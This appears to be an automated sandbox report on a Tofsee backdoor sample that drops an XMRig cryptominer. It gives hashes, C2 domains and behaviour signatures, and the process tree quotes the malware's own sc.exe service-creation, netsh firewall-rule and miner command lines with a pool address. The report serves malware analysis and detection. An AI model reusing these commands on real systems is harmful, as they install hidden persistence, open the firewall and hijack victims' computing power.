Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    16-05-2023 11:33

General

  • Target

    file.exe

  • Size

    268KB

  • MD5

    9b30c442d1e5f79e00beb59519f49bf1

  • SHA1

    e3f97e75276ba3b4756275bc1796396369b07b68

  • SHA256

    c30132d930b44ed9f7cbb78be47c9c3fb0bd0d34c3e0548304802c7c617cd185

  • SHA512

    931b892d036c75da6b8a7aeeb282e21d7715c52a2ab3a5636e38ddffadcb9be1261a26c7ae4407964d29c7caac526ec963fcc75cb3b76bf21ff3fb41b3dee931

  • SSDEEP

    3072:JoB1eK1AKuLq7ITFIiAq4pe5/kdg82Pd+YzF+UFOFQh91ESuPjco5E5WqFmcJObK:GB1IKuLiITpAqHFo0+oOFO7BI5qFBSw

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ftsidray\
      2⤵
        PID:2024
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eqchekjx.exe" C:\Windows\SysWOW64\ftsidray\
        2⤵
          PID:1692
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ftsidray binPath= "C:\Windows\SysWOW64\ftsidray\eqchekjx.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ftsidray "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1176
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ftsidray
          2⤵
          • Launches sc.exe
          PID:1700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:576
      • C:\Windows\SysWOW64\ftsidray\eqchekjx.exe
        C:\Windows\SysWOW64\ftsidray\eqchekjx.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1040
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:392
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1196

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\eqchekjx.exe

        Filesize

        13.1MB

        MD5

        827d155b37c898b102ef83bd4d8f7cc3

        SHA1

        bc1a11916eda11349e41066648feeb705aa31cd6

        SHA256

        24cb19e7fa7638a53d7ac98cdde393f6072051ce9045545011a22f6e76d7c9c0

        SHA512

        3727d15b581d2092f3d25b22b8e135adafdf95be397c6b6dacc5c904e03011735ba508aa501783964ae61e23ac8d158128309f225cea9f945af1d9b52b419dbd

      • C:\Windows\SysWOW64\ftsidray\eqchekjx.exe

        Filesize

        13.1MB

        MD5

        827d155b37c898b102ef83bd4d8f7cc3

        SHA1

        bc1a11916eda11349e41066648feeb705aa31cd6

        SHA256

        24cb19e7fa7638a53d7ac98cdde393f6072051ce9045545011a22f6e76d7c9c0

        SHA512

        3727d15b581d2092f3d25b22b8e135adafdf95be397c6b6dacc5c904e03011735ba508aa501783964ae61e23ac8d158128309f225cea9f945af1d9b52b419dbd

      • memory/392-88-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-106-0x0000000000330000-0x0000000000337000-memory.dmp

        Filesize

        28KB

      • memory/392-62-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/392-90-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-63-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-91-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-67-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-71-0x00000000019E0000-0x0000000001BEF000-memory.dmp

        Filesize

        2.1MB

      • memory/392-74-0x00000000019E0000-0x0000000001BEF000-memory.dmp

        Filesize

        2.1MB

      • memory/392-75-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/392-78-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-81-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-82-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-83-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-84-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-92-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-86-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-110-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-89-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-61-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/392-105-0x0000000005520000-0x000000000592B000-memory.dmp

        Filesize

        4.0MB

      • memory/392-85-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-93-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-94-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-95-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-96-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-97-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

      • memory/392-98-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/392-101-0x0000000000170000-0x0000000000175000-memory.dmp

        Filesize

        20KB

      • memory/392-102-0x0000000005520000-0x000000000592B000-memory.dmp

        Filesize

        4.0MB

      • memory/1040-64-0x0000000000400000-0x0000000000908000-memory.dmp

        Filesize

        5.0MB

      • memory/1124-60-0x0000000000400000-0x0000000000908000-memory.dmp

        Filesize

        5.0MB

      • memory/1124-56-0x0000000000240000-0x0000000000253000-memory.dmp

        Filesize

        76KB

      • memory/1196-123-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-111-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-112-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-116-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1196-119-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-120-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-121-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-122-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/1196-124-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB